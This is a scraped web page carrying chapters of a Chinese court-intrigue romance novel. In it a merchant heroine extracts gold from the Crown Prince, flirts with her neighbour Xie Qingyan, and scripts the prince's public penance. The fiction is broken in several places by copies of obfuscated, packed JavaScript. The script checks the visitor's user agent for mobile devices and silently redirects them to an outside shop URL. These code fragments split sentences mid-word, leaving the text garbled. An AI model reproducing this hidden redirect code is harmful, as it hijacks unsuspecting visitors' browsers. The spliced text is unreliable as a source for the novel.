35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211537|197420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >姜元序稍显意外地挑眉,还不算太蠢,知道审时度势,早这样不就好了。 “宁远郡是个好地方,百废待兴,我也有意开发,但不会和云州那般大刀阔斧,至于原因,殿下可以去信问问周老将军,朝政之事,我不方便多谈。” 太子神色莫名,沉声问:“姜姑娘是觉得,宁远郡近年会起乱?” 姜元序不动声色道:“这些年四处安稳,风调雨顺的,不光我们,其他国家也一样,人吃饱了,总会有些不安分的想法,就算旁人不动,我们恐怕也会按捺不住。” 太子再次惊叹于姜元序对朝政的洞察力,近些年景朝国力越发强盛,朝中武将蠢蠢欲动,甚至父皇都有了开疆拓土的念头。 他也不藏着掖着,直白道:“宁远郡有周家军在,必不会失守,边境的冲突,不会影响宁远郡的安定,姜姑娘且安心。” “商人最是惜命,战事一起,谁愿意往那边跑?”姜元序心中了然,随意寻了一个借口,也不再兜圈子。 “殿下若想要云州那般铺天盖地的名声,请恕我无法相助,但若想靠宁远郡赚些钱,倒是可以谈一谈。” 开发宁远郡绕不开周家,送上门的机会,不要白不要。 姜元序的话不无道理,太子蹙眉深思,名声他想要,钱财他也要,若不能两者兼之,能得其一也好。 “姜姑娘想如何谈?”他问。 姜元序拿出公事公办的态度,客气道:“我破例给殿下一份邀约,殿下可以遣人整理一份自己和周家的产业明细,送到今越投资,我与管事商议过后,会给出具体的合作方案,到时再详谈。” “不过殿下也知道,我手头事情不少,投资一个地方也不是一天两天能确定下来的,其中的细则需要不断修改,所以还请殿下耐心等一等。” 太子眼底微沉,带着难言的郁气:“孤的三弟也收到了邀约,姜姑娘之后也要这般和他谈吗?” 姜元序态度未变,语气规矩刻板:“自是一样的,安王殿下是今越银行的大客户,此前的邀约只依财力而定,后续的参与者需要依具体方案而定。” 太子的脸色又沉下几分,对姜元序的不识趣相当不满,没有立场,何尝不是一种立场。 姜元序努力扬起商业微笑,想尽快把人打发走,太子绝对是她最讨厌的一类客户,给钱不爽快,屁事还贼多。 “太子殿下,无论是你,还是安王,或者其他达官贵人,在我这儿,你们统一称为有钱人,我只认金银,不管其他的。” “只一点。”她话锋一转,声音像淬了寒冰,“我这个人讨厌麻烦,你们的斗争若是影响到我,也别怪我不留情面。” 姜元序态度冷硬,太子反倒脸色一松,跟个木头人似的油盐不进才麻烦,今天不过刚照面,有了合作,后续自有拉拢的机会。 “姜姑娘的话,孤记下了。”太子微微颔首,表示满意,“产业明细会尽快遣人送来,今日是孤叨扰了。” “殿下客气了。”姜元序客气地笑笑,一副送客的模样。 太子今日的目的达成,准备起身离开,却听姜元序继续道:“说起来,我与殿下也算早有合作,若不是我策反周泰,殿下哪能干干净净从铜矿案中脱身。” 太子起身的动作一顿,重新落座,盯着姜元序推敲她说这话的意图,姜元序不说话,大大方方让他看。 他指尖微蜷,皱眉迟疑地问:“确实该谢姜姑娘的,就是不知该如何谢?” 姜元序勾起嘴角,抬手扶了一下面具,含蓄道:“我喜欢金子。” 忽然觉得自己如临大敌的模样仿佛对牛弹琴,太子被姜元序直白的要求噎得说不出话,半晌才从怔松中找回声音。 他深吸一口气,放下警惕:“姜姑娘放心,谢礼一定让你满意。” 姜元序为他解决这么大一个麻烦,只要些金子,真是再便宜不过了。 姜元序眉眼舒展,心满意足地起身送客,一个周泰换了这么多东西,不枉她费劲查那么久。 太子离开时同样面露喜色,原是他一开始用错了方式,姜元序不是一般女子,感情于她无用,拉拢她需用无尽的利益。 41. 拖进卧房 谢青衍倚在自家门口的石狮子上,就着月色等姜元序回来,虽只有一日未见,今日也没什么必要的事要说,但人就在隔壁,不见一下,总觉得不舒坦。 车夫认得谢青衍,停下车打招呼,姜元序听到动静掀开帘子往外瞧,有些意外地抬头看了眼谢府的牌匾,作势下车。 谢青衍连忙上前阻止:“外头凉,别下来了,我也没什么事,很晚了,快回去吧。” 他只是想看她一眼,如今看到了,已经足够。 姜元序推开他,跳下马车,“正好有点事和你说,省得我差人跑一趟。” 谢青衍解下披风给她披上,如今已是十月底,他在门口站了半个时辰,有披风在都感觉冷。 姜元序衣裳单薄,他不放心地问:“京城的冬日冷的早,厚衣裳做了吗,这时节也该穿上棉衣了。” 姜元序按住他系带的手,果然很凉,脸色也白,不知道等了多久,眼里闪过一丝无奈,示意他看后面。 百凌捧着披风,坐在车架上,一脸看好戏的模样,在谢青衍望过来的时候,好事地把披风递到他面前。 谢青衍后知后觉,照顾姜元序的人这么多,这些事哪里会没有安排。 “我又不是傻子,天冷还不知道加衣裳。”姜元序把披风还给他,穿上自己的,“倒是你,也不知道找个屋子躲躲风。” 两人乘着月光往回走,谢青衍的产业已经理清,主要是田产、林业和矿产,姜元序可太喜欢矿了,一个矿能衍生出一系列产业,正好做一个整合,她已经初步拟定合作方案。 存银交给她打理也要重新签订契书,今越银行只收手续费和管理费,但她这里收益是五五分,三年内不能支取,违约不享收益,且要扣除一成的管理费。 姜元序看中的是大客户背后的人脉资源,大客户同样看中她的人脉资源,扩大产业才是真正的需求,打理银钱只是顺带的。 她简单和谢青衍说一下合作方向,“等细则敲定,你再找时间来今越正式签契。” 谢青衍点头应下,他平日要上值,产业是云齐和岚心在打理,具体事项由他们去和今越的管事商讨,石矿多在谢家族地,需要找人重新详查一番。 他手头还有一些隐秘的产业,像煤矿,世家大族暗中都有,但明面上不好听,当初给今越递明细的时候就没有写上去,他还有一座小型玉矿,是外祖父给母亲,母亲又给他的。 姜元序啧啧称羡,也就这种世代簪缨的家族能占那么多矿,买地送矿,一本万利的生意。 行至屋内,侍从奉上茶水,姜元序额外给谢青衍倒了一大杯水。 “拿着暖暖手,以后别在门口等了,侧门给你开着,有什么事直接从那边过来。” 谢青衍还没来得及欣喜于姜元序的体贴,就被突如其来的惊喜砸懵了,确认姜元序没有开玩笑,他反倒不好意思起来,感觉他今日像是耍了一出苦肉计。 他压了压嘴角,嗡声道:“我会让人守好院子,不让旁人过来的。” 再不好意思也不能拒绝,哪怕姜元序明日反悔,今日他也得答应下来!门都开了,登堂入室还远吗! 谢青衍捧着温热的茶盏,全身暖和起来,投向姜元序的视线夹着说不清道不明的热意。 姜元序耳根微微发烫,手指不自在地拨动茶杯,垂眸道:“太子今日来找我了。” 谢青衍心下一紧,“他为难你了吗?”怎么好似受了委屈? 手下的茶杯摇摇晃晃,笑意漫上姜元序的眉眼,她掩口失笑,委婉道:“我用周泰跟他要了点金子。” 五千两金锭、一盒子金饰、一套二十八事金器,两个侍从抬上来,沉甸甸的相当有诚意。 得亏谢青衍昨日搬来了李首辅,太子深知无法用权势逼迫,才会轻易把江州的事揭过,还想方设法拉拢她。 谢青衍一时怔住,想明白后嗤地笑出声,周明坤和太子舅甥俩如出一辙,被卖了还反过来给钱。 “也该谢你的,不然这事儿有的磨。”他收敛神色,说起后续。 周泰和宋知州已经押解回京,明年秋后问斩。 姜元序没冤枉宋知州,因为他确实拿了铜锭,拿了多少不得而知,查抄出来的不明财产超百万,没有铜矿案他也活不了。 宋知州本是周家一系的官员,知道自己死罪难逃,直接把开矿一事认了下来,太子确实清清白白摘出去了。 枉费有人辛苦布局两年,铜矿一事雷声大雨点小,皇城里头的四位一个没伤到,得益最多的是姜元序,其次是宁远郡。 姜元序对这个结果并不意外,太子知晓铜矿一事是安王的手笔,宋知州一力扛责,至少能向太子卖个好,保住家人。 她对谢青衍说:“太子邀今越一道开发宁远郡,我答应了,你可以和谢祖父说一声,宁远郡明年可以好好动一动。” 有太子加入,周家一定会全力支持,最后一道坎也没了,宁远郡能最快速度恢复生息。 “真要和太子合作?”谢青衍皱眉,纳闷道,“他手下全是蠢笨之人,恐怕会拖你后腿。” 姜元序自有考虑:“有他的名头就成,周老将军吃了这么大亏,难保他又出昏招,稳住周家,朝廷才能没有顾忌。” 宁远郡毕竟是边境,周老将军手一松,遭殃的是百姓,所谓养寇自重,便是如此,边关起乱,朝廷不退也得退,那些新换上的寒门官员,说不定得把命留在那儿。 无论在姜元序的哪一份计划里,周老将军都必须死,只是这人是真不好杀,七十多了还整天打狼打虎的,杀不掉也熬不死,愁啊。 谢青衍也愁,“我近日翻卷宗,有几起案件想重审,估计又要得罪太子,需要缓一缓吗?” “缓什么?”姜元序侧眸轻瞥,淡然道,“职责所在,你一下升这么多,想给自己添些政绩,也是人之常情,不算刻意针对谁。” 她略一思索,提醒道:“宁远郡的事让李首辅牵头,你们谢家别插手。” 谢家和周家不睦已久,朝堂之上如何争斗皆在情理之中,若是把手伸到宁远郡,就有些过了。 谢青衍目光温软,无奈道:“我是怕太子迁怒你。” 旁人不知道他对姜元序的心思,太子却是心知肚明,朝堂之上太子奈何他不得,保不齐私底下去恶心姜元序。 姜元序眼尾轻挑,藏着几分戏谑,漫不经心道:“我俩又不是一家的,你得罪太子,关我一个无辜的路人什么事?” 谢青衍的心思百转千回,以为姜元序在外要跟他撇清关系,心不断往下沉,难怪要把侧门开了,原来是不想明面上和他扯上关系。 他抿了抿唇,神色暗淡,小心翼翼地问:“那我还能去今越找你吗?” “这有什么不能的。”姜元序恰好低头倒茶,没察觉到谢青衍的异样。 “不过我最近忙,从早到晚都在跟人议事,你来我最多抽空陪你吃个饭,你衙里也忙,下值晚就别来回折腾了,在家等着也一样。” 谢青衍越听越迷惑,想起演苦情戏的过往,索性直接问清楚:“你不是要跟我撇清关系?” 姜元序喝水的动作一顿,双目微睁,诧异地问:“什么叫撇清关系?” 谢青衍心道,果然又误会了,神情一松,抱怨道:“那你还说自己是无辜的路人,我和你一道吃饭,一道出游,京城这么大点的地方,太子又不瞎。” 姜元序轻啧一声,“看到就看到,就算让他看到我们一起进卧房又如何?只要没成亲,敷衍一下就过去了。” 太子比周明坤还好忽悠,一听她要金子,马上放下了戒备,谢青衍得罪他,他为了恶心谢青衍,说不定还会给她送金子。 谢青衍脸上蓦然升起几分臊意,控制不住地扬起嘴角,小声嗫嚅道:“顺序不太对吧,怎么着也该先成亲。” “怎么不对?”姜元序把玩着茶盏,一本正经地反驳,“这宅子上上下下都是我的人,我歹心一起,轻易就能把你拖进卧房,你只带了一个云慎,不过云慎应当不会阻止。但你想让我成亲,却是千难万难的。” 外头的云慎听得一清二楚,憋笑望天:是的,我不光不会阻止,甚至可以帮忙锁门。 谢青衍支着额头哭笑不得,“要不你和我说说,成亲前需要过哪些难关,我好有个准备。” 姜元序态度自然,面不改色道:“卧房这关得过。” 谢青衍捂脸,有些怀疑地想,难不成江州真是这个顺序? 姜元序好笑地推推他的手,“又不是马上要把你拖进卧房,现在害羞有点早吧,还是你这回不演苦情戏,改演欲拒还迎了? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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云慎闻言缩了缩脖子,心里不断叫苦,完了,这回真要去捞珍珠了。 谢青衍脸上的红晕还没褪下,头疼地按了按额角,他就知道是这里,这种事旁人又查不到,他也没有宣扬房中事的爱好,只有江州那一次云慎嚷嚷了一句,估计那些紧闭的门窗后面有姜元序的人在。 他正色道:“说可以,但不要污蔑人,我瘦了些是因为我前些日子胡思乱想,寝食难安,脚步虚也是公务繁忙累的,我房里干干净净,以前是,现在也是!” 他不意外回来都不知道姜元序是这样想他的,他以前心里没人时都没近过女色,如今他遇到姜元序了,怎么可能反而让旁人近身。 十安暗叹,谢大人真的有点运道在身上,芥蒂没来得及升起就被挑破,姑娘入了心,便容不得一点怀疑,坦坦荡荡说开,对两个人都好。 姜元序不住地点头,“我也没往那里想,没说话绝不是默认的意思,我只是在思考。” 谢青衍没听到后续,神色怀疑:“思考什么?” 姜元序郑重其事道:“思考你状态不太对,是不是和我有关,日渐消瘦,典型的相思病症状啊!” 谢青衍神色渐松,姜元序暗自舒气,百凌默默翘起大拇指,高! 姜元序趁势转移话题:“你是忘了什么事吗,怎么回来了?” 谢青衍也没有抓着不放的意思,误会解开就好,他的状态是没有之前好,又瘦又憔悴,姜元序到京城才几天,他恢复起来没这么快。 “我回来是想说,那边小门开了,你有什么事也可以直接过来,我有时忙,可能回来的晚,你找我的话可以给我院里的人留个口信,想找我祖父或者母亲,直接说一声就行。” 姜元序应下,百凌随十安一道送他们出门,低声致歉:“谢大人,是我考虑不周,妄自揣测你。” 谢青衍没放在心上,反而有些庆幸:“解释清楚就好,心中有疑,积攒多了便成芥蒂,你们姑娘不是个爱问的,以后你们可以直接来问我,我既喜欢她,这些事自然不会隐瞒。” 十安和百凌悄悄对视一眼,心下对谢青衍的满意又添了几分。 42. 锦囊妙计 “谢侍郎,来这儿。”刑部尚书赵大人热情地招呼。 谢青衍和几位上官见礼,长随从食盒中取出饭食一一摆好,菜式丰盛,明显不是公中膳堂的手艺。 谢青衍经历过昨日那一遭,午膳再不敢草草打发,特意让家中准备好膳食送到衙门,姜元序是个看脸的,他得尽快恢复以前的样子。 前往宁远郡的钦差不日便要归来,许多案件文书已经送到京城,阁臣们都盯着刑部尽快结案,不仅谢青衍忙的脚不沾地,李凡玉和谢维更是喘口气的时间都没有,饭桌上都在议事。 谢青衍埋头吃饭,一会儿功夫碗碟空了一半,一直注意着的赵尚书朝谢维使了个眼色,促狭道:“到底是年轻人。” 一群白胡子老头方才发觉这里有个认真吃饭的年轻人,齐声失笑,绷紧的心弦松了一刻,公事再急,饭不可废,纷纷拿起筷子。 谢维惊讶于谢青衍的好胃口,也没多想,只觉得孩子大概是真饿了,又从自己的膳食里给他拨了些,谢青衍面不改色地全吃了。 李凡玉嫌弃地撇了撇嘴,铜矿案的内情一个字不肯露,吃饭的嘴倒是张得欢。 今早谢维说姜元序要和太子一道投资宁远郡,他就是再蠢也该回过味了,太子能清清白白脱身,姜元序肯定出力不少,他险些真信了姜元序说的口碑。 午膳后,李凡玉逮着空悄声问谢青衍:“你要重审案件的事,她怎么说?” 谢青衍掩口低语:“她说,太子很好忽悠。” 李凡玉嘴角隐隐抽搐,觑着谢青衍欲言又止,谢青衍目光坦然,郑重一点头,李凡玉神色复杂地撇开头,他真是多余操心。 当天下午,谢青衍请求重审的折子批复下来,几件事堆在一处,谢青衍桌上的卷宗堆积如山,昼夜不得歇。 姜元序同样不得闲,她不止今越一个担子,粮食商会虽交给了她爹,但许多事务还是需要经过她的手。 就如李凡玉所说,宁远郡的粮商都不是善茬,嚣张这么多年,自是因为身后有倚仗,即使她有周家军的军粮供应资格,也免不得一番较量。 宁远郡的主事冯书同深谙此道,价格战、舆论战轮番上演,粮商们迫不得已寻求背后靠山,冯书同刚开始还费心与他们周旋,后来得了姜元序的准信,直接放开手段全力倾轧。 官场一朝肃清,一批粮商破产,剩下的粮商开始夹着尾巴做人,江州粮食商会彻底在宁远郡扎根。 姜元序收到冯书同的传信,汇报许安宁的训练进度,前些日子着重实战训练,之后是隆冬,不便外出,案头之学便要提上日程,争取在明年春季让她成为一名合格的士兵。 千程则夸许安宁是天生将才,前些年让她做生意真是屈才了,这会儿才走上正道。和许安宁一起训练的还有十几人,之后一道送过去,她毕竟是个姑娘,在军营多有不便,需要有人打配合遮掩。 许安宁抱怨冯书同和千程简直是三更索命的阎王,她小时候跟着姜元序习武,姜元序严苛但至少还是活人手段,那两人完全把她当兵器,千锤百炼,她如今强得比霸王枪还霸王。 她让姜元序不要担心,她到宁远郡跟回了自己老家一样,一点不适应没有,简直天高任鸟飞,她这般山一样的女子,就该驰骋疆场。 姜元序蓦然生出一股“吾家有女初长成,力拔山兮气盖世”的感慨,她开始着手准备许安宁的假身份,无人在意一个小兵的身份,但若有一天她以军功封官,这个假身份必须经得住朝廷里里外外的盘查,家人、族亲、成长经历……缺一不可。 谢青衍重新审案到底还是波及到了姜元序,太子遣人送产业明细时,附带了一封看似言辞平和实则咬牙切齿的谴责信。 话里话外,无外乎是他退让到此等地步,江州之事尽数揭过,谢礼如数奉上,谢青衍还咬着他不放,不合适吧? 姜元序当场写好回信,交给送信的侍从带回,太子拿着信封来来回回找了好几遍,方才确认姜元序真的只给他回了四个字。 白纸黑字的“关我何事”,仿佛两个耳光抽在他脸上,被人指着鼻子当面说年纪大的气闷感再次袭来,血液唰唰往脑袋涌去,眼前一阵黑一阵白。 他抓起笔,越写越急,恨不得把所有的怒气发作在纸上,甚至等不得明天,连夜将信送去今越。 姜元序刚踏上马车,就被太子的侍从拦住去路,侍从义正言辞地让她必须今天看信马上回信,否则别想回去! 姜元序从不受威胁,当场把信丢回去,让人把太子送来的产业明细找出来,一道丢了,侍从大惊失色,威胁之语脱口而出,寒光一闪,百凌的长剑直指咽喉,侍从剩下的半截话生生咽了下去。 侍从回东宫复命,仿佛被抽干了力气,打着摆子,伏在地上等候太子发落。 太子果然怒不可遏,一脚将人踹出去,厉声大呵:“你算个什么东西!孤低声下气求着人家,你个蠢物竟将人开罪了!谁借你的胆子,摆谱摆到孤的头上!” 侍从垂着脖颈不敢辩解,他平日仗着太子的宠信,嚣张惯了,头一次碰上硬钉子,当即扎了个头破血流。 发落完侍从,太子捧着原模原样的文书和信件,想起小舅的告诫,姜元序性子傲,万事要软着来,只好把原来隐约透露着威胁的信件撕毁。 翌日,太子新遣的侍从从清早等到午时,依旧没能进今越投资的大门,只好托今越银行的伙计将歉礼和信件转交。 姜元序不意外又收到一盒子金锭,新的信件言辞恳切地为失礼一事致歉,希望不要因为一个是非不明的蠢物耽误他们的合作,又条理分明地阐述了谢青衍对他造成的麻烦,夹杂着对谢青衍低劣人品的鄙夷。 姜元序提笔回信,歉礼已经收到,她自然不会得理不饶人,合作可以继续,但让她劝诫谢侍郎一事,实属可笑,朝政之事岂是男女私情能左右的?更何况她与谢侍郎并无婚约,如何能行劝导之责? 太子收到回信,隐隐有被说服,若由姜元序去跟谢青衍讲情,两人的界限便会被打破,而姜元序是个极其功利之人,她舍不下谢青衍带来的利益,又不愿意在一颗树上吊死,选择不远不近地将人吊着才是最有利的做法。 此次重审的案件不是什么惊天大案,于他最多是名声有碍,可如今他最缺的便是名声,他当了二十年的太子,明面上大家赞他性情端方,背地里嘲他资质驽钝,谢青衍的做法无异于杀人诛心。 他斟酌许久,寻了个空到今越见姜元序,捧着一大盒金锭请人出主意。 姜元序议事被打断,本就有气,看在金锭的面上,耐着性子询问:“此次案件是谢侍郎混淆证据污蔑殿下,还是确有其事?” 太子唇角下压,不置一言,姜元序得到答案,便道:“既是确有其事,殿下何不利用此次之错,扭转一下此前失去的人心?” 太子眸光一亮,“如何利用?还请姜姑娘赐教。” 姜元序没空绕弯子,开门见山道:“谢侍郎要审,就让他审出个公正严明的结果,殿下行事有偏颇之处,那就认,认出个‘闻过则改,不失为明’的名声。” 太子皱眉,“认错容易,名声如何得?” 姜元序不耐地翻个白眼,语气不善:“认错自然要讲究方式方法,公然上个请罪的折子,谁不知道你在作秀?” “你是太子,不要学那套哭着认错,笑着甩锅的小人做派,恰恰相反,你要做的不是推责,而是揽责。” 姜元序拿过纸笔,一步一步给他阐明:“首先,你私下去找陛下,挑一件小事……” 太子揣着厚厚一叠“锦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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元乾又惊又怕,下意识想反驳,又记起姜元序的叮嘱,不能保证自己的话一定不会出错的时候,索性什么都不要说,直接装可怜。 他咽下所有推卸之词,伏到皇帝肩头,情真意切地喊了声:“父皇……” 哪有父亲不会原谅儿子的,皇帝对元乾失望,更多的是恨铁不成钢,他是父亲,更是皇帝,当父亲的可以纵容自己儿子,皇帝却不能纵容太子。 元越不是个有雄才伟略的皇帝,但也不失为一代明君,唯一一次独断专行,便是成全自己的私心,迎贵妃入宫。因为此事,一手教导他的老师与他离心,他一手教导的儿子与他渐行渐远。 悔吗?悔的。 他后悔当初为何不能等一等,等老师回来,和他商议一个万全之策,或者等几年,等彻底压下周家之势。一步踏错,成了如今这个局面。 他问元乾:“你既意识到自己有错,可曾想过补救的办法?” 元乾拭净眼泪,按姜元序教他的说辞,将之后的打算一一说与皇帝听。 皇帝连连称赞,“知错能改善莫大焉,乾儿,你终于懂得承担责任,而不是把所有的错都推到旁人头上,朕真的很欣慰。” “你是太子,享天下人供养,整个天下都是你的责任,你治下的任何一个人出了错,都是你的错,你有责任去纠正、去弥补。权力和责任是相互的,你想要多少权,就得担多少责。” 元乾心潮翻涌,又被姜元序料中了,她说只要闹到明面上,百姓拉不出屎,太子都有责任去解决,不是真要太子去掏粪,而是要让天下人看看,太子能担责。 元乾恍恍惚惚离开,皇帝目光一凛,示意德顺:“去查查,太子身边出现了什么人。” 太子不是个聪明的,他一向清楚,今日这一手,靠太子自己,再有三十年也想不到。 43. 陛下体恤 有了皇帝和太子的示意,刑部挑灯夜审,不足的证据得以补全,酌情轻判的罪犯重新判罚,太子出面安抚受害者,并当廷奏请完善律法,皇帝允太子协刑部共同修律。 太子出列,躬身垂首:“父皇宽仁大度,不计较儿臣失察之罪,然,儿臣身为储君,德行应为天下人表率,遂自请减膳素服三月,以赎己过。” 皇帝眼底闪过一丝明显的惊讶,随即大笑赞道:“太子能反躬己身,乃百姓之福。” 众臣高呼“太子贤明”,太子敛目压下自得之意,姜元序说的真对,要想人前显贵,必得人后受罪,想要名声,就得做的比父皇预想的,还要再多一些。 散朝后,皇帝忍不住和德顺笑说:“这今越的主事可真有意思,收了钱,帮了忙,还不忘给太子找罪受。” 此次即使太子没有将功补过,也不过落一个闭门思过的惩处,但减膳素服三月,可是实打实的遭罪。 德顺附和道:“能让首辅大人放言相护,品行自是错不了,如今看,还是个恩怨分明的性子。” 他奉旨查太子之事,很容易便查到了姜元序,东宫近日抬出去不少金子,太子来找陛下认错那日,也刚好去过今越投资。 皇帝摇头感慨:“既能得老师欣赏,又能得太子信任,若不是真实所见,朕是万不敢信的。” 坊间难得有李凡玉的传闻,皇帝此前特意命人详细查了一番,听说姜元序皮里阳秋地把李凡玉挤兑一通,之后只用一声“祖父”便把人哄得眉开眼笑。 皇帝不禁对一个素昧谋面的小姑娘生出了嫉妒之心,他和李凡玉师生关系最亲近的时候,都不曾有过这样温馨的场面。 若不是因为姜元序是女子,他早该把人召进宫,好生瞧上一瞧,不到二十的年纪,已经走遍大江南北,执掌庞大的家业,不是一句“能力卓绝”可以囊括的。 皇帝嘱咐德顺:“太子怕是不清楚‘减膳素服’的规矩,让内府衙门去东宫说清楚,必须严格执行,不可懈怠。” 太子是该吃点苦头,不枉有人费心把机会送上门。 德顺恭敬应是,悄声退下。 太子正在东宫大发雷霆,侍从对姜元序不敬这事,给他提了个醒,侍从盛气凌人的态度绝不是一日养成的,旁人不会像姜元序那般,受了气当场发作,碍于他的身份,多半会忍气吞声,然后暗自记恨。 一查果然如此,东宫侍从的行事作风竟比他这个当太子的还要嚣张! 他气得目眦欲裂,厉声怒斥:“孤这些年名声差,竟是被你们这群恶奴连累的!孤给你们体面,你们就是这般回报孤的!” 太子发落完侍从,内监官也带着皇上要求的东西赶到东宫,太子瞧见零零碎碎的箱子,有些摸不着头脑,总不会在这时候给他送赏赐吧? 内监官躬身行礼:“见过太子殿下,陛下命奴才给您传达‘减膳素服’的规矩。” “不可穿裘衣,只能穿棉衣,但陛下体恤,特意让奴才找了件狼裘,给殿下御寒,棉衣里头的丝绵,也是今年新进的。” “不可食荤腥,每餐只留三道素菜,但陛下体恤,冬日严寒,特意给殿下留了一道羊肉,只减去其他荤食。” “不可饮酒,不可饮茗茶,只可饮白水,但陛下体恤,特意让奴才寻了些粗茶送来。” “不可烧地龙,不可用暖阁,但陛下体恤,允许殿下烧火盆,只减去红罗炭、银炭的份例,不限制松炭的用量,殿下有需要的话,只管遣人来取。” “不可乘轿撵,不可用车马,但陛下体恤,若殿下要出宫的话,可以乘坐素车,奴才已经遣人去宫外添置,稍后会送来东宫。” “不可佩金玉,……” “不可奏乐,……” “不可……” “另外,殿下切记,减膳素服期间,万万不可踏足内院。” 内监官命人撤去东宫不合规矩的摆件和用度,躬身请太子更衣,太子浑浑噩噩地脱下锦袍。 内监官捧起素服,笑眯眯道:“殿下,里衣也得换,绫、罗、绸、纱、绢,皆不可用,但陛下体恤,特意给殿下准备了细棉布。” 太子狠狠闭眼,深吸一口气,缓缓张开手,让侍从脱去里衣,还不忘用力挤出一个感恩戴德的笑,朝内监官道:“谢父皇体恤。” 内监官离去后,屋子里的暖意很快散去,太子拢紧素色棉衣,端起黑釉小盏,皱眉看了眼茶色,迟疑地凑近嘴边,小抿一口。 “噗——” “这茶叶是拿火烤的吗?!一股子烟味……” “呕——咳咳!哪来的烟!走水了吗!” 伺候火盆的侍从忙跪下请罪:“殿下,是松炭的烟,红罗炭撤下去了。” 太子捂着鼻子,火盆里噼啪作响,火星微溅,淡淡的青烟迷糊了他的眼睛,悲从心来。 他为何不直接听姜元序的,非要从犄角旮旯里翻出“减膳素服”这么个折磨人的法子,三个月啊,一年中最冷的三个月,他要如何熬过去…… 披着灰白狼裘,一身素服的太子,步行两刻钟,到刑部议事,谢青衍用尽全力,也没压住上扬的嘴角,在太子愈发阴沉的眼神中,召侍从撤掉待客的茶盏,换上白水。 酉时一到,他迫不及待去今越寻姜元序,“太子时不时瞥两眼我的茶盏,我今日原本喝的是普通的松萝茶,后来直接让人泡上御赐龙井,太子脸都黑了,气得再狠也没走,一直坐着,听说东宫如今只能烧松炭。” “这么严苛?!”姜元序不可置信地惊呼,“我以为只是穿素色的衣裳,减几道菜!” 她提议太子每天早起去太庙外跪一个时辰,连跪一个月,太子嫌辛苦,自己想了个减膳素服的法子,她一听觉得太轻松了,让加到三个月,太子想也没想就答应了。 “太子约莫也是这样想的。”谢青衍忍俊不禁。 他对礼制还算熟悉,解释道:“遇灾、大丧或重刑日,阖宫减膳素服,和惩戒用的减膳素服是不同的,本朝鲜少将减膳素服用作惩戒,但确实有礼可循。” “三十岁的人了,一点有用的没学。”姜元序对太子的嫌弃之情溢于言表。 “不过也好,人一旦吃不饱穿不暖,就没精力搞事了,省得一天天地往我这里跑。” 谢青衍相当赞同,他吃饱穿暖就想一天天往姜元序这里跑,奈何衙门实在太忙,这些时日他和姜元序的交流仅限于互留口信,今日总算了却一桩事,得了半晚上的空闲。 饭吃到一半,管事来告知大客户已经到议事室,姜元序匆匆扒了几口饭,让谢青衍自己吃完再回去。 姜元序再次从议事室出来,已经是一个时辰之后,十安正等着她,汇报一个意外的消息。 十安接手千程在京城的事务,这些时日一直在东兴大街那边,她与安王妃见过几次,今日意外得知,安王妃平日打理的不是自己的嫁妆铺子,而是成婚后安王赠予的。 据说安王妃待字闺中时,并未学过打理生意,嫁妆中多是名贵的死物,成亲后,安王见她大门不出二门不迈,守着后院过日子,便赠她几间东兴大街的衣裳首饰铺子,又请人教她如何打理,让她不要拘泥于规矩,可以时常出门玩耍。 十安:“安王妃眉眼间洋溢的神采骗不了人,她的女儿尚未足岁,已经有不少产业在名下,都是安王给的。” 姜元序感觉很割裂,安王陷害太子的手段算得上阴狠,死在太子别院的富商,试图伪装成灭口的周泰,完全把人命当工具使。这样的人会为联姻的妻子和女儿费心筹谋吗? 一时间没有更多的情报,姜元序决定先回去找知情人问问。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211540|197420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云慎早就发现门口的姜元序,迅速且不着痕迹地掠到谢青衍身边,小声提醒:“姜姑娘在门边看着,表现男子气概的时候到了!” 谢青衍收拳的手一顿,瞬间更加用力地挥出去,拳脚快而稳,霍霍生风,势必要洗脱身体虚的污名! 姜元序在门口看了一会儿,缓缓往里走,前边的侍从提着灯为她引路,谢青衍交待过,姜元序过来不必通报,无论何时直接带人进来。 谢青衍故意背过身,完完整整地打了一通猛拳,才不经意间旋过身,装作刚发现姜元序的样子,收势走去。 姜元序在他靠近时,快速往后退了一步,撇嘴道:“一身汗,离我远点。” 谢青衍身形一僵,下意识捻起衣领,才发现领口有些湿,他光顾着展示力量,忘了还会出汗,立刻拘谨地往后退了两步。 晚上气温低,许是因为出了汗,他又穿着单衣,周身萦绕着一层升腾的雾气,这会儿碰了钉子,瑟缩着一副委屈样,白雾像具象化的怨气似的,噌噌往外冒。 姜元序没忍住笑出声:“大晚上的还练拳,你也不怕睡不着觉。” 谢青衍微微偏过头,理直气壮道:“你都嫌我身体虚了,我当然得好好练。” 